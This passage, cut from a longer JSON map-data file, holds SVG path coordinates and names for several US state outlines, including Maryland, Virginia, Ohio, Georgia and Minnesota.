-4.17,-3.69 -4.9,-6.58 -0.91,-3.11 -3.62,-4.96 -5.48,-7.35 -1.85,-1.82 0.94,-5.5 -0.26,-6.47l-0.33,0.09z","name":"Delaware"},"md":{"path":"m813.59,229.19c-17.31,3.18 -34.53,6.83 -51.78,10.28 0.74,3.02 1.31,6.08 1.78,9.16 2.14,-1.9 3.29,-5.35 6.59,-5.34 2.14,-1.85 2.67,-5.25 5.77,-3.55 3.46,0.18 5.43,-5.35 9.01,-3.85 2.63,1.63 5.66,2.79 7.34,5.59 4.19,0.11 3.68,3.73 5.74,4.96 2.73,1.11 5.02,1.18 6.38,-0.53 4.29,1.38 2.24,3.74 1.44,6.9 0.09,2.97 -3.7,4.92 -1.66,7.97 3.1,1.31 6.4,1.2 9.63,1.4 2.17,1.58 6.83,1.03 3.79,-2.1 0.41,-2.74 -3.08,-3.35 -3.32,-6.04 -1.7,-2.67 -1.42,-5.47 -0.36,-8.32 1.68,-2.42 -2.83,-3.82 -0.4,-5.41 1.25,-1.53 0.43,-4.16 2.98,-4.7 1.62,-3.02 5.1,-1.45 2.35,1.02 -2.54,2.98 -0.81,4.5 0.57,6.3 1.41,3.55 -0.68,5.07 -1.53,7.31 -0.22,-0.81 3.62,-1.01 3.22,1.79 -3.15,1.64 -1.45,6.12 1.09,7.31 2.98,0.99 5.58,-1.8 6.98,2.14 1.5,3.75 4.92,0.81 7.41,-0.02 2.74,-1.21 3.47,-4.93 2.78,-7.7 -1.13,-1.58 -4.82,0.92 -7.13,0.4 -3.86,1.26 -4.9,-1.25 -5.28,-4.64 -1.68,-5.97 -2.14,-12.33 -5.16,-17.9 -0.04,-4.32 -2.71,-4.2 -6.07,-2.91 -0.73,0.16 -1.45,0.31 -2.18,0.47z m10.94,32.59c1.32,0.99 0.59,4.97 2.06,4.63 -0.48,-1.31 -0.36,-4.99 -2.06,-4.63z","name":"Maryland"},"va":{"path":"m792.88,242.88c-0.16,1.46 0.24,5.89 -2.4,4.29 -2.58,-0.67 -6.42,-3.2 -8.23,-2.73 0.7,3.72 -1.46,6.77 -2.99,9.94 -3.05,1.14 -2.29,5.83 -5.84,5.58 -1.62,1.74 -1.47,5.31 -2.45,7.73 -3.09,1.14 -5.37,-0.48 -7.28,-1.75 0.11,6.5 -3.72,11.95 -5.91,17.84 -1.69,1.73 1.19,3.8 -0.74,5.77 -1.35,3.56 -3.79,2.72 -6.19,4.19 -2.72,1.1 -4.9,0.5 -5.4,4.61 -2.07,1.14 -4.83,2.63 -6.91,0.47 -2.38,1.51 -5.02,3.21 -7.81,1.6 -2.69,-0.01 -3.9,-6.55 -6.07,-2.94 -3.27,4.09 -7.89,7.48 -10.21,12.09 0.43,3.25 -4.46,3.32 -6.42,5.15 -4.27,1.95 3.62,-0.11 5.16,-0.07 5.56,-0.79 11.14,-1.37 16.76,-1.36 1.95,-2.65 4.98,-1.81 7.77,-1.65 7.86,-0.32 15.65,-2.12 23.48,-2.99 12.85,-1.4 25.44,-4.27 38.04,-7.05 11.65,-2.52 23.3,-5.03 34.96,-7.55 -1.64,-2.66 -2.75,-6.67 -6.42,-4.14 -1.99,2.03 -6.61,-1.82 -2.7,-2.48 2.65,-1.62 -1.75,-4.07 -1.8,-5.97 -2.73,-0.62 -2.88,-5.12 0.54,-3.6 -0.17,-1.37 -1.24,-3.62 -1.62,-5.68 1.47,-3.51 -0.84,-4.97 -3.72,-5.16 0.31,-3.42 -2.9,-2.93 -5.22,-3.97 -3.33,0.21 -7.06,-0.25 -9.91,-1.66 -1.22,-2.41 -0.91,-5.12 1.25,-6.88 1.39,-2.83 -0.28,-5.7 -3.3,-6.27 -2.65,-0.83 -6.97,-0.29 -5.73,-4.3 -0.83,-0.3 -2.05,-1.06 -2.69,-1.06z m39.16,21.59c0.44,4.71 -3.15,8.7 -2.62,13.48 -0.34,4.11 2.64,5.72 3.48,0.92 1.71,-3.04 -0.23,-6.47 0.8,-9.73 0.4,-2.53 3.66,-3.88 3.52,-6.73 -1.73,0.69 -3.46,1.38 -5.19,2.06z","name":"Virginia"},"wv":{"path":"m739.75,223.25c-1.6,2.23 1.3,5.02 0.25,7.75 -0.18,4.04 -0.63,8.11 -0.84,12.13 -1.94,3.58 -4.43,7.35 -8.16,9.13 -3.15,-1.33 -3.92,3.25 -5.76,4.98 -1.56,2.28 2.64,4.93 -0.3,6.69 -2.57,3.58 -2.6,-4.8 -4.46,-0.71 -1.32,2.59 0.02,6.02 -1.35,8.33 -1.82,1.54 -0.53,5.19 -4.16,4.81 -2.23,0.13 -1.45,6.19 1,6.81 2.24,1.47 2.49,4.74 5.5,5.92 1.92,1.96 2.28,5.18 5.39,6.05 1.64,2.19 3.07,4.96 6.25,4.88 2.63,0.5 4.77,-3.86 7.22,-1.35 1.49,0.81 3.93,-0.57 4.58,-1.83 0.43,-4.57 3.42,-2.71 6.03,-4.39 2.39,-0.94 4.82,-0.98 5.62,-4.44 -1.26,-2.59 0.3,-5 1.56,-7.64 2.23,-4.81 4.72,-9.61 4.67,-15.05 2.65,-2.31 3.72,3.56 7.05,1.41 1.64,-1.77 1.12,-5.67 2.6,-7.59 3.47,0.39 2.97,-3.96 5.76,-5.21 2.29,-3.11 3.52,-6.8 3.06,-10.7 1.06,-1.29 5.1,1.62 7.23,2.15 3.3,3.35 4.34,-1.98 2.85,-4.05 -2,-2.28 -5.12,-3.7 -7.62,-4.75 -3.31,0.98 -5.44,5.47 -9.38,3.97 -1.86,-0.23 -2.38,3.98 -4.86,3.88 -2.89,0.71 -3.79,4.38 -6.03,6.22 -1.1,-0.06 -0.99,-4.82 -1.62,-6.64 -0.01,-3.93 -1.77,-5.3 -5.48,-3.82 -4.21,0.6 -8.41,1.23 -12.61,1.91 -1.17,-6.45 -2.29,-12.92 -3.44,-19.38l-0.35,0.35 -0.18,0.18z","name":"West Virginia"},"oh":{"path":"m729.5,197.78c-4.85,2.06 -7.38,6.9 -11.47,9.97 -4.08,0.86 -8.09,1.75 -11.72,3.88 -3.41,1.61 -4.39,-4.09 -7.67,-2.63 -3.13,1.35 -5.49,-1.1 -8.11,-2.41 -8.6,1.15 -17.15,2.64 -25.66,4.38 1.45,17.83 4.12,35.53 5.87,53.33 -0.69,3.82 4.06,2.26 6.23,1.48 2.74,0.41 4.83,2.16 5.48,4.94 1.26,2.48 5.82,-0.87 6.96,2.54 2.19,1.53 4.46,-2.33 7.03,-0.58 2.52,0.04 5.62,1.51 6.84,-1.56 1.49,-0.55 5.37,-3.85 5.41,-0.71 0.38,2.53 3.82,3.57 5.77,4.7 3.53,0.63 2.32,-3.91 4.21,-5.51 -0.11,-2.74 0.21,-5.73 1.39,-8.13 2.53,-2.81 3.8,4.53 4.98,0.39 -2.02,-2.27 -0.99,-5.41 0.93,-7.41 1.07,-4.06 4.05,-2.41 6.5,-4.39 2.93,-3.16 6.59,-6.57 5.97,-11.27 0.44,-4.71 1.18,-9.75 -0.53,-14.23 1.47,-2.48 2.58,-4.29 0.96,-7.33 -2.04,-7.53 -2.56,-15.37 -3.93,-23.04 -1.81,1.2 -3.63,2.4 -5.44,3.59z","name":"Ohio"},"in":{"path":"m658.66,210.31c-9.12,0.93 -18.35,1.98 -27.41,2.68 -2.6,0.39 -4.21,5.08 -6.89,2.98 -3.83,-2.84 -2.64,1.83 -2.41,4.45 1.1,14.81 2.73,29.61 3.44,44.42 -0.76,3.69 -1.39,7.89 1.36,10.91 0.1,2.99 1.4,6.28 -1.14,8.65 -1.83,2.73 -2.55,6.09 -5.02,8.42 0.09,2.08 -2.02,8.2 1.63,5.16 3.49,-0.6 7.25,-1.53 10.69,-1.34 2.36,4.08 2.67,-0.62 5.26,-1.29 2.03,-2.62 4.78,2.05 5.34,1.04 -1.26,-3.41 3.05,-3.77 5.1,-5.22 1.09,0.63 6.05,3.38 5.3,-0.64 -0.46,-2.47 2.02,-4.71 3.65,-6.34 3.11,-1.39 4.33,-3.9 4.16,-7.23 1.83,-1 4.93,-1.01 6.97,-2.47 4.23,-1.03 0.26,-3.48 1.22,-5.92 -0.83,-12.56 -2.8,-25.13 -4.08,-37.69 -0.85,-6.99 -1.44,-14.01 -2.14,-21.02 -1.68,0.16 -3.35,0.31 -5.03,0.47z","name":"Indiana"},"il":{"path":"m569.75,200.44c-0.29,2.58 4.2,1.83 3.73,5.07 2.07,2.09 5.71,4.21 4.38,7.77 -0.31,3.04 -2.61,5.44 -3.08,8.4 -2.38,2.71 -6.06,2.98 -9.31,3.94 -1.61,2.47 -1.05,4.91 1.28,6.47 0.63,3.25 -1.08,5.07 -2.74,7.38 1.41,3.63 -2.39,2.86 -3.56,5.02 1.08,3.12 -2.11,3.8 -2.53,6.64 0.19,3.95 1.33,8.21 3.28,11.58 3.68,3.96 7.38,7.9 12.21,10.47 -0.61,2.88 -0.64,6.7 3.43,5.71 2.05,0 6.18,0.38 6.26,2.68 -0.19,4.39 -3.6,8.24 -3.28,12.53 1.6,3.83 5.33,6.26 8.59,8.42 3.37,-0.29 5.36,1.27 5.9,4.6 1.01,2.64 3.84,4.73 1.73,7.67 0.55,1.74 2.58,7.7 4.31,4.05 1.21,-2.98 5.41,-4.78 8.07,-2.46 3.1,2.46 5.94,0.47 3.13,-2.8 -0.98,-3.39 2.61,-4.96 5.37,-5.33 1.01,-1.55 -1.6,-4.46 1.4,-5.97 1.8,-3.97 -0.56,-9.39 3.32,-12.49 1.43,-2.97 3.23,-5.97 4.4,-8.97 0.13,-3 -0.7,-5.7 -2.34,-8.16 -0.45,-4.59 1.31,-9.09 0.02,-13.65 -1.16,-15 -2.22,-30.05 -3.67,-45.01 -1.02,-3.1 -1.61,-6.46 -4.04,-8.77 -2.27,-1.83 -0.51,-5.93 -1.97,-7.32 -14.76,0.83 -29.52,1.67 -44.28,2.5z","name":"Illinois"},"ct":{"path":"m865.78,165.41c-6.91,1.54 -13.81,3.08 -20.72,4.63 2.17,6.2 2.74,12.83 2.44,19.34 -2.62,4.3 2.61,2.38 3.97,-0.21 2.09,-1.89 4.19,-3.71 5.99,-5.88 2.06,1.35 4.78,-1.86 7.44,-1.46 2.98,-0.68 5.69,-2.24 8.56,-3.26 -1.15,-4.67 -2.29,-9.33 -3.44,-14 -1.42,0.28 -2.83,0.56 -4.25,0.84z","name":"Connecticut"},"wi":{"path":"m559.53,104.97c-4.06,2.75 -8.71,4.92 -13.53,5.84 -2.88,-1.08 -5.54,-1.12 -5.57,2.68 -0.48,3.34 0.51,7.03 -0.47,10.17 -2.02,3.26 -6.91,4.03 -7.36,8.38 -2.63,2.78 2.21,3.06 2.23,5.53 1.79,2.9 -2.13,4.74 -1.33,7.65 0.29,2.93 -0.4,6.49 1.14,8.93 1.33,3.48 5.88,0.21 6.64,3.93 1.56,2.26 5.47,1.03 6.19,4.78 2.15,5.1 9.7,4.85 11.21,10.39 0.68,3.38 0.35,7.34 1.94,10.32 3.26,1.05 1.94,4.34 0.25,6.21 -0.79,3.96 2.53,8.34 6.75,8.25 2.28,1.6 4.86,1.65 7.83,1.19 13.03,-0.77 26.07,-1.53 39.1,-2.3 -0.02,-4.45 -1.98,-8.61 -1.86,-13.13 -1.7,-2.04 -0.86,-4.17 -0.04,-6.39 0.32,-2.84 3.07,-4.93 1.51,-7.87 -1.05,-2.94 -0.88,-6.21 1.73,-8.27 -0.2,-2.83 -0.5,-5.03 -0.16,-7.93 -1.14,-4.2 2.64,-7.5 3.69,-11.36 0.92,-1.13 3.15,-8.34 0.73,-4.93 -2.65,3.81 -4.99,8.01 -8.18,11.29 -0.86,2.06 -3.21,4.55 -5.21,4.5 -2.57,-1.26 0.28,-4.49 0.9,-6.41 0.47,-2.94 3.2,-4.25 4.09,-6.85 -3.31,-1.29 -2.77,-5.03 -3.54,-7.92 0.02,-3.09 -1.23,-5.08 -4.29,-5.57 -2.14,-3.67 -7.04,-2.78 -10.59,-4.12 -7.13,-1.87 -14.21,-4.39 -21.67,-4.99 -2.48,-0.54 -2.84,-5.51 -5.51,-4.73 -1.71,-1.54 -3.85,-0.7 -5.82,0.13 -2.8,-1.32 0.68,-4.59 1.5,-6.38 2.18,-1.34 -1.53,-2.14 -2.31,-1z","name":"Wisconsin"},"nc":{"path":"m830.06,295.97c-18.3,3.8 -36.53,8 -54.86,11.65 -12.74,1.51 -25.38,4.07 -38.18,4.94 -3.32,-0.82 -1.17,3.72 -2.5,5.53 -2.62,1.34 -3.49,4.59 -5.03,6.38 -3.24,-1.36 -5.07,1.46 -6.34,3.97 -1.09,-0.57 -2.96,0.03 -3.41,-1.41 -2.02,1.96 -4.37,3.73 -4.31,6.81 -3.66,1.1 -6.31,3.82 -9.28,5.96 -2.64,0.94 -5.76,2.16 -7.4,4.35 0.73,4.06 -2.98,3.3 -5.1,5.29 -1.98,4.69 2.74,2.66 5.58,2.5 6.41,-1.19 13.32,-0.49 19.18,-3.73 5.04,-1.9 9.41,-5.9 15.06,-5.67 6.5,-0.64 13.15,-0.6 19.62,-0.69 2.99,0.53 3.36,4.79 5.58,5.01 5.37,-0.81 10.87,-1.67 16.25,-1.79 5.38,1.36 9.61,5.45 14.52,7.93 3.59,2.64 6.93,5.66 10.43,8.44 3.15,-0.86 6.32,-1.58 9.59,-1.72 1.06,-4.55 2.04,-9.29 5.39,-12.78 4.2,-4.27 9.23,-8.29 15.33,-9.29 2.91,1.95 3.69,-2.9 5.27,-4.53 2.72,-5 -2.44,3.91 -2.46,-1.22 -3.87,0.7 -5.43,-0.26 -3.29,-4 2.77,-4.25 -2.73,-2.51 -2.12,-6.02 -1.42,-3.76 2.84,2.19 5.06,0.81 2.81,0.12 5.1,-1.87 5.59,-4.6 0.45,-2.9 4.59,-2.7 3.28,-6.48 -4.02,-2.43 4.25,-0.66 0.4,-3.93 -3.52,-3.44 -5.24,-8.33 -7.23,-12.76 -1.54,0.35 -3.08,0.71 -4.63,1.06z m17.13,23.72c1.55,2.61 -4.64,4.26 -0.52,2.69 1.38,-1.92 0.21,-5.22 0.24,-7.62 -0.74,-2.05 0.37,4.57 0.28,4.94z","name":"North Carolina"},"dc":{"path":"m803.44,248.16c2.67,3.43 3.85,-1.02 0.55,-0.75l-0.29,0.4 -0.25,0.35z","name":"District of Columbia"},"ma":{"path":"m877.59,144.41c-1.04,3.1 -4.01,3.5 -6.79,4.13 -8.62,2.32 -17.17,4.6 -25.96,6.12 -0.11,4.77 -1.17,9.59 -0.03,14.31 10.66,-2.6 21.54,-4.29 32,-7.44 3.57,2.81 6.01,6.73 8.28,10.59 2.13,-0.78 0.01,-5.15 3.77,-5.38 2.93,-3.28 1.83,4.78 3.17,2.62 2.13,-3.09 6.1,-3.9 9.41,-5.21 -0.11,-3.41 -2.21,-8.55 -6.38,-7.53 1.64,-0.1 4.89,0.87 4.91,3.82 0.85,2.24 -2.55,3.71 -4.35,4.24 -3.37,0.51 -4.99,-1.76 -6.32,-4.47 -1.38,-2.05 -3.58,-6.56 -6.3,-3.6 -1.89,-1.72 -3.13,-4.04 -1.33,-6.3 2.3,-2.34 1.23,-6.2 -1.28,-7.16 -0.93,0.41 -1.86,0.82 -2.79,1.24z M902.25,172.69c-1.6,2.76 3.05,-2.44 0.08,-0.32l-0.08,0.32z m-11.28,1.28c1.59,0.78 6.09,-2.26 1.78,-2.03 -0.59,0.68 -1.19,1.35 -1.78,2.03z","name":"Massachusetts"},"tn":{"path":"m730.41,314.34c-8.87,-0.11 -17.76,1.5 -26.57,2.73 -10.24,2.86 -20.99,2.66 -31.48,4.02 -16.34,1.45 -32.65,3.29 -48.96,4.95 -4.57,-1.71 -0.43,5.74 -5.06,4.14 -6.97,0.06 -13.87,1.23 -20.84,0.71 -0.95,4.26 -1.37,9.04 -3.6,12.76 -3.45,1.82 -4.01,5.81 -4.43,9.33 -3.1,1.1 -4.68,2.61 -2.53,5.59 -1.75,3.9 -0.58,5.24 3.51,3.98 33.91,-3.26 67.83,-6.53 101.74,-9.79 -0.23,-2.54 0.72,-5.31 3.53,-5.69 3.11,-0.4 0.99,-5.41 4.88,-5.81 2.77,-2.02 6.49,-2.19 8.62,-5.18 1.76,-2.26 6.31,-1.64 5.78,-5.38 1.19,-1.77 3.1,-3.84 5.03,-4.85 1.04,-0.39 0.28,1.78 1.72,1.19 2.38,0.56 2.2,-4.36 5.22,-3.86 3.3,1.27 2.68,-2.92 4.96,-4.18 2.05,-0.94 3.81,-6.68 0.92,-6.59 -0.81,0.64 -1.63,1.27 -2.44,1.91z","name":"Tennessee"},"ar":{"path":"m509.47,335.31c1.73,4.9 1.5,10.02 1.53,15.12 2.15,12.21 1.13,24.64 1.47,36.97 0.02,3.71 0.04,7.42 0.06,11.13 2.06,3.2 5.05,-1.45 7.69,1.47 1.53,1.76 -0.88,7.54 2.97,6.49 17.61,-0.36 35.23,-0.72 52.84,-1.08 1.97,-2.6 0.41,-5.9 -1.28,-8.22 3.3,-1.61 -1.59,-3.96 0.84,-6.53 0.75,-2.77 0.62,-6.34 3.78,-7.69 -1.88,-3.07 2.08,-5.24 3.19,-7.88 3.77,-0.38 1.58,-3.3 2.64,-5.42 1.12,-2.67 2.56,-5.28 4.85,-6.58 1.2,-4.12 0.21,-2.67 -1.53,-5.61 -2.76,-3.32 1.95,-3.96 2.36,-6.84 -0.05,-1.94 3.31,-6.69 1.22,-6.75 -2.65,0.85 -5.34,-0.18 -8.02,-0.33 -0.09,-3.38 4.4,-3.88 4.22,-7.3 0.58,-3.87 -3.58,-3.68 -6.34,-3.26 -24.17,0.77 -48.34,1.54 -72.5,2.31z","name":"Arkansas"},"mo":{"path":"m490.44,245.63c-2.39,-0.46 -0.19,4.05 0.07,5.6 2.45,3.32 4.51,7.86 8.55,9.22 2.81,-0.24 3.61,2.67 2.79,4.84 -3.22,1.64 -1.72,5.03 0.19,7.07 0.9,2.55 4.61,3.05 4.89,5.61 2.1,12.97 1.12,26.14 1.51,39.22 0,5.72 0.08,11.44 0.72,17.13 24.99,-0.94 49.98,-1.8 74.97,-2.51 3.02,-1.12 4.35,1.72 5.31,3.98 0.52,3.48 -2.86,4.46 -4.14,6.86 2.37,0.64 5.57,0.65 8.21,-0.08 1.46,-3.59 1.87,-7.45 2.38,-11.22 0.84,-2.83 5.27,-2.89 4.61,-6.03 1.37,-2.94 0.14,-4.6 -2.22,-4.28 -2.15,-1.81 -2.84,-5.03 -2.86,-7.6 1.45,-2.84 -2.08,-5.07 -2.44,-7.89 -0.66,-3.24 -5.34,-0.87 -6.89,-3.66 -2.64,-2.34 -6.24,-3.94 -6.91,-7.76 -0.94,-3.21 1.52,-6.47 2.17,-9.64 2.2,-3.53 -1.34,-4.7 -4.33,-4.5 -2.66,0.39 -5.34,-1.15 -4.81,-4.1 0.86,-4.07 -4.71,-4.05 -6.43,-6.93 -2.7,-3.4 -6.72,-6.05 -7.25,-10.67 -1.1,-3.16 -2.12,-6.86 -0.62,-10.06 -2.3,-1.34 -2.28,-5.77 -5.37,-4.89 -20.69,0.77 -41.38,1.53 -62.06,2.3z","name":"Missouri"},"ga":{"path":"m672.78,356c-0.74,7.06 4.28,12.69 5.29,19.4 1.36,6.57 3.44,12.96 5.03,19.44 0.94,4.88 2.17,9.95 5.53,13.75 -0.85,3.5 3.37,3.17 2.59,6.44 -1.89,4.45 -3.57,9.65 -0.84,14.13 0.05,2.63 0.94,5.4 -0.38,7.88 2.95,0.94 1.45,4.01 3.07,6.01 1.35,2.67 3.68,4.75 6.83,4 12.35,-0.01 24.69,-1.31 37.03,-1.92 3.32,-0.58 6.67,-0.74 10.04,-0.59 -0.78,4.24 3.04,4.15 2.09,-0.09 -0.9,-2.14 -2.94,-6.23 0.59,-6.62 3.2,0.5 6.42,0.91 9.66,1.02 -0.84,-3.8 -0.8,-7.57 0.5,-11.27 0.2,-3.54 2.62,-6.73 2.21,-10.21 -0.72,-2.93 3.26,-5.26 2.85,-8.05 -2.19,1.37 -5.29,-0.71 -5.34,-3.19 -0.56,-3.12 -2.71,-5.83 -6.03,-6.06 -1.33,-3.9 -2.62,-8.17 -4.99,-11.43 -3.12,-1.07 -6.13,-2.99 -7.17,-6.29 -2.06,-2.33 -5.23,-3.21 -6.66,-6.16 -2.08,-2.2 -5.24,-2.83 -7.66,-4.19 -0.76,-2.53 -3.21,-4.09 -3.94,-6.67 -1.36,-2.63 -2.97,-4.65 -6.15,-3.77 -2.33,-1.57 -7.15,-3.38 -5.31,-6.97 2.02,-2.01 3.76,-4.11 -0.8,-3.11 -12.68,1.51 -25.37,3.01 -38.05,4.52z","name":"Georgia"},"sc":{"path":"m737.03,343.19c-4.26,0.4 -8.64,0.43 -12.24,3.07 -3.2,1.75 -6.48,3.19 -9.88,4.49 2.21,3.31 -4.28,2.74 -2.34,6.44 2.27,2.24 5.2,4.13 8.5,3.28 2.53,3.15 3.83,6.94 6.53,9.88 0.91,2.76 5.13,2.06 6.85,4.46 2.18,1.38 2.96,4.25 5.62,5.01 2.99,1.95 3.36,6.38 7.26,7.24 3.61,0.62 3.77,4.77 5.34,7.38 0.38,3.35 2.02,4.84 4.79,5.96 3.36,1.79 1.76,7.23 5.67,8.16 3.63,-1.38 5.8,-4.63 8.38,-7.34 -2.35,-3.93 0.29,-3.32 3.01,-4.44 1.95,-2.4 5.02,-3.3 6.25,-6.28 2.17,-2 3.86,-4.52 5.4,-6.9 2.81,-0.17 3.42,-3.58 4.92,-5.03 -0.28,-4.13 1.3,-7.89 3.12,-11.47 1.03,-2.11 7.03,-4.5 3.47,-6.34 -5.97,-5.35 -12.78,-9.5 -19.71,-13.47 -4.45,-2.68 -9.74,-0.07 -14.57,-0.06 -2.57,-0.23 -6.63,2.48 -7.32,-1.28 -1.66,-4.5 -6.93,-2.82 -10.63,-2.96 -2.8,0.07 -5.61,0.14 -8.41,0.21z","name":"South Carolina"},"ky":{"path":"m675,267.5c-2.76,-0.77 -6,1.11 -3.38,3.78 1.52,3.15 -3.12,4.12 -5.19,5.27 -2.94,0.53 -4.71,1.29 -4.3,4.82 -1.15,2.66 -5.3,3.24 -6.32,6.32 -2.16,1.4 0.74,6.22 -2.84,5.92 -3.06,0.61 -4.36,-2.79 -7.09,0.11 -2.26,0.51 -1.1,6.98 -3.85,3.1 -2.27,-2.54 -5.57,0.14 -6.16,2.81 -1.91,1.07 -3.4,-3.73 -6.02,-1.91 -3.32,0.61 -7.48,0.47 -9.92,2.91 0.08,2.65 -3.39,3.78 -1.7,6.05 2.34,2.66 -2.23,2.68 -3.86,3.3 -3.57,1.35 -0.68,4.35 -0.76,6.72 0.33,3.45 -3.76,1.44 -5.49,0.72 -2.5,-2.29 -6.26,-0.38 -7.13,2.53 2.86,2.28 -0.04,4.76 0.41,7.66 -3.47,2.04 -3.19,2.73 0.94,2.35 5.84,0.01 11.64,-0.95 17.5,-0.76 -0.7,-3.74 0.98,-4.99 4.56,-4.19 24.33,-3.01 48.82,-4.7 73.16,-7.43 4.3,-0.7 8.2,-2.38 11.75,-4.88 3.3,-0.8 4.04,-2.71 5.12,-5.35 3.46,-4.09 7.13,-8.06 10.79,-12 -3.27,-1.24 -3.03,-5.51 -6.21,-6.95 -2.6,-1.25 -2.07,-4.66 -5.16,-5.36 -2.38,-2.64 0.8,-7.28 -3.02,-8.87 -3.02,-0.01 -2.37,-4.65 -4.57,-3.51 -2.95,0.61 -3.67,4.78 -7.02,3.29 -2.69,-0.23 -5.51,-1.19 -7.82,0.71 -3,0.83 -3.99,-3.61 -7.44,-2.06 -3.51,0.82 -2.17,-5.19 -5.65,-5.26C677.17,266.43 676.21,267.17 675,267.5z","name":"Kentucky"},"al":{"path":"m628.53,359.63c-0.2,14.37 0.12,28.75 -0.54,43.12 -0.04,9.01 -0.88,18.1 -0.07,27.07 1.55,10 2.94,20.01 3.85,30.09 3.07,1.09 3.69,-1.92 4.4,-4.18 -0.3,-3.89 4.27,-3.02 4.89,-0.04 0.72,2.06 4.08,5.27 0.77,6.65 -0.15,0.92 6.17,-0.9 5.88,-2.89 -0.44,-3.01 0.64,-6.86 -2.87,-8.19 -2.29,-0.88 -3.03,-5.59 -0.32,-5.67 14.08,-1.86 28.21,-3.59 42.35,-4.8 2.7,1.07 6.76,-0.25 2.97,-2.5 -1.8,-2 0.95,-5.03 -0.27,-7.65 -0.31,-3.1 -2.63,-5.9 -1.31,-9.15 0.01,-2.92 2.49,-5.36 1.93,-8.3 -3.52,-0.45 -1.34,-5.11 -4.26,-6.7 -3.48,-5.82 -3.36,-13.04 -5.96,-19.21 -2.02,-8.09 -3.34,-16.41 -7.25,-23.88 -0.51,-2.39 -1.08,-4.85 -0.72,-7.31 -14.49,1.18 -28.98,2.35 -43.47,3.53z","name":"Alabama"},"la":{"path":"m521.09,407.28c0.1,7.53 -0.24,15.32 1.67,22.61 2.08,2.49 2.82,5.51 3.15,8.67 1.87,2.78 5.27,4.95 4.59,8.72 1.61,2.18 -0.21,5.69 0.08,8.38 0.42,2.64 -4.36,4.89 -2.01,7.12 1.07,2.26 -0.92,5.31 -0.53,7.95 0.38,3.22 -2.37,5.7 -1.55,8.93 5.18,-2.4 10.98,-0.86 16.47,-1.09 5.72,1.7 11.56,4.87 17.56,4.26 2.93,-2.25 5.94,0.36 8.98,0.93 1.08,-3.4 -4.22,-0.81 -5.8,-2.2 -1.91,-0.36 -2.89,-2.3 -1.17,-3.4 2.08,-1.1 4.08,-1.09 5.66,0.04 2.15,-1.39 5.6,-0.24 6.26,2.38 -0.33,3.62 3.42,1.7 5.28,3.15 3.83,1.5 -1.41,4.07 0.83,5.37 2.88,0.97 5.73,2.94 8.62,3.29 3.51,-0.05 2.81,-4.53 6.47,-4.17 1.83,-2.9 4.44,-0.25 4.39,2.31 1.53,1.64 4,-3.68 1.98,-3.66 0.22,-3.37 2.17,-3.21 4.31,-5.41 1.59,0.95 0.91,2.82 1.41,4.16 3.33,0.39 7.44,1.09 9.34,4.06 2.79,0.08 5.17,1.1 5.56,-2.56 -2.68,-0.27 -4.15,-3.88 -7.35,-3.19 -2.31,0.06 -6.3,-1.62 -6.15,-3.77 1.62,-3.62 2.23,-1.74 2.03,-4.38 2.88,1.09 5.69,-2.27 3.22,-4.47 0.46,-4.62 -3.73,-0.15 -3.34,2.19 -1.36,1.21 -6.35,-0.96 -4.6,-3.27 1.71,-1.84 4.2,-4.5 2.19,-6.95 -0.13,-3.26 -2.69,-5.21 -4.47,-7.38 0.52,-2.7 2.26,-7.35 -2.36,-5.46 -10.43,1.28 -20.97,0.69 -31.45,1.12 -1.61,-3.72 -0.02,-7.76 0.16,-11.59 2.66,-4.86 5.46,-9.65 8.25,-14.44 -2.04,-2.82 3.52,-4.45 -0.74,-6.48 -0.53,-2.15 -1.29,-4.65 -2.32,-6.83 -0.08,-3.1 0.9,-7.3 -3.62,-5.79 -17,0.28 -34,0.57 -51,0.85z","name":"Louisiana"},"ms":{"path":"m591.03,363.5c-1.45,1.74 -4.03,3.15 -4.63,6.03 -1.4,2.22 1.43,5.74 -2.69,6.07 -1.48,1.97 -4.77,4.42 -3.4,7.17 -1.36,1.83 -3.59,3.95 -3.48,7.01 -2.16,2.66 1.55,5.28 -0.27,7.12 -0.45,1.84 2.25,4.42 1.35,7.03 -1.92,2.71 -1.63,6.55 -0.61,9.53 1.6,2.4 0.78,5.54 3.73,6.94 -0.95,2.53 -1.41,3.75 -1.87,6.31 -2.55,4.96 -6.07,9.62 -7.89,14.84 0.01,2.98 -1.44,6.14 -0.14,8.97 11.4,-0.36 22.87,0.25 34.19,-1.5 2.75,2.21 -2.19,6.39 1.33,8.15 2.82,1.62 2.28,5.18 3.89,7.63 2.07,-1.86 2.51,-6.19 5.82,-4.07 3.21,-0.67 6.85,-3.02 9.89,-0.64 3.62,0.73 6.01,-0.27 4.42,-4.26 -0.81,-10.1 -2.99,-20.07 -3.84,-30.15 0.14,-21.99 1.48,-43.98 0.64,-65.97 -12.15,1.26 -24.29,2.52 -36.44,3.78z","name":"Mississippi"},"ia":{"path":"m476.25,181.16c-3.42,-0.05 -2.16,5.68 0.72,6.29 0.54,2.07 -0.75,5.06 -1.41,7.35 -2.13,2.82 -0.93,5.45 1.04,7.92 1.22,4.34 2.24,8.85 4.05,13.06 0.6,3.22 1.29,6.38 3.41,9 0.02,3.49 1.27,6.69 2.3,9.91 -0.04,3.54 0.03,7.05 2.08,10.09 22.2,-1.02 44.44,-1.75 66.66,-2.63 0.77,1.43 3.25,7.11 4.37,4.25 -0.96,-2.5 1.19,-4.52 3.57,-4.72 -0.88,-2.62 1.19,-4.59 2.5,-6.28 1.27,-2.92 -1.39,-4.02 -2.41,-6.31 0.69,-2.9 1.79,-5.3 5.13,-5.46 2.88,-0.83 6.57,-1.81 6.65,-5.41 1.76,-3.04 3.73,-8.01 -0.26,-10.18 -2.74,-1.06 -1.75,-5.27 -5.21,-5.14 -0.64,-1.97 -0.85,-4.76 -4.19,-4.21 -2.75,-0.8 -4.55,-3.47 -5.37,-6 -1.36,-2.89 2.01,-4.72 1.65,-7.28 -3.82,-0.4 -1.19,-6.5 -5.03,-5.47 -26.75,0.41 -53.5,0.81 -80.25,1.22z","name":"Iowa"},"mn":{"path":"m497.03,53.84c-0.69,2.52 0.93,7.42 -1.31,8.34 -9.65,-0.01 -19.29,-0.02 -28.94,-0.03 1.16,2.87 2.18,5.76 0.97,8.81 0.05,5.74 -0.79,11.86 2.51,16.95 2.04,3.78 0.64,8.47 1.5,12.6 0.82,6.84 1.76,13.67 3.55,20.32 0.05,3.83 0.88,7.8 0.03,11.53 -1.57,1.74 -4.91,3.29 -2.22,5.78 1.89,1.83 5.05,2.94 4.58,6.1 0.28,11.9 0.25,23.83 0.42,35.75 26.72,-0.38 53.44,-0.75 80.16,-1.13 -0.15,-3.62 -0.46,-7.93 -4.36,-9.47 -3.02,-1.66 -6.24,-3.1 